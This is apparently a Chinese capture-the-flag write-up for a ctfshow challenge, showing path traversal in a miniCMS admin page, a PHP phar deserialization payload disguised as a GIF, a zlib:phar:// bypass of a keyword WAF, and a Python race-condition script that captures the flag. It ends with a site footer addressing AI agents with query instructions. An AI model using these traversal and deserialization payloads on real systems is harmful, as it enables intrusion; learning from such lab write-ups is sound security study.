# 虎山行

给了源码www\.rar，是miniCMS，对比源码，找到漏洞点，相当明显。

<figure><img src="/files/SWoRbmep20CTEDQN6min" alt=""><figcaption></figcaption></figure>

直接请求flag，发现根目录下没有flag，但是给了提示。

```
/mc-admin/page-edit.php?file=../../../../../../flag
```

这个是网站目录

```php
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    public $ctfer = 'shower';
    public function __destruct(){
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
```

很明显是要触发\_\_destruct()魔术方法，先尝试一下读取waf.php，发现被WAF了。

```
/ctfshowsecretfilehh/?file=waf.php
```

那咋办呢，想想上一步也可以读取文件，那就试试吧。

```
/mc-admin/page-edit.php?file=../../../ctfshowsecretfilehh/waf.php
```

源码

```
<?php
function waf($file){
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
        die("姿势太简单啦，来一点骚的？！");
    }else{
        return $file;
    }
}
```

phar反序列化

[利用 phar 拓展 php 反序列化漏洞攻击面](https://paper.seebug.org/680/)

这里的上传点在后台，上传之后再upload目录下。

大概学了一下，phar\_gen.php：

```
<?php
class Ctfshow{
    public $ctfer = 'shower';
}
@unlink("exp.char");
$phar = new Phar('exp.phar'); //后缀名必须为phar
$phar->startBuffering(); //开始写入
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$object = new Ctfshow();
$phar->setMetadata($object); //将自定义的meta-data存入manifest
$phar->addFromString('test.txt', 'text'); //添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>
```

生成exp.phar文件。打开长这个样子的：

<figure><img src="/files/zOze3iveXiD5qprMCdim" alt=""><figcaption></figcaption></figure>

把文件后缀改为.gif上传。

<figure><img src="/files/ULwEaQAogpMwNKvgGHYd" alt=""><figcaption></figcaption></figure>

进了upload目录，发现不给文件名，于是去看一下upload.php

```php
<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		if (file_exists("upload/" . $_FILES["file"]["name"]))
		{
			echo $_FILES["file"]["name"] . " 文件已经存在。 ";
		}
		else
		{
			$md5_unix_random =substr(md5(time()),0,8);
			$filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
		}
	}
}
else
{
	echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>
```

给了文件名具体的生成方式，这就很蛋疼，用burp重新发了一次。

注意到注释其实有给提示？拿到时间。

```
<?php
$filename=substr(md5(strtotime('Wed, 27 Jan 2021 03:56:43 GMT')),0,8);
echo $filename;
```

传入参数

```
/ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/d1a86748.gif
```

除了zlib,bzip等等应该也可以。

又是套娃

```php
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
```

看着像条件竞争，写个脚本

```python
import hashlib
import requests
import time


def md5(t):
    string = str(t)
    h = hashlib.md5()
    h.update(string.encode())
    return h.hexdigest()


url = "http://722cd3fb-690b-47c8-93f6-bc36429d2d7c.chall.ctf.show/"

while True:
    pwd = md5(int(time.time()))
    unser = 'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"' + pwd + '";}'
    params = {'unser': unser}
    print(params)
    res1 = requests.get(url=url + "ctfshowgetflaghhhh/", params=params)
    res2 = requests.get(url=url + "flag.txt")
    if res2.text.find("ctfshow") != -1:
        print(res2.text)
        break
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2021/2021-ctfshow-djbctf/hu-shan-xing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
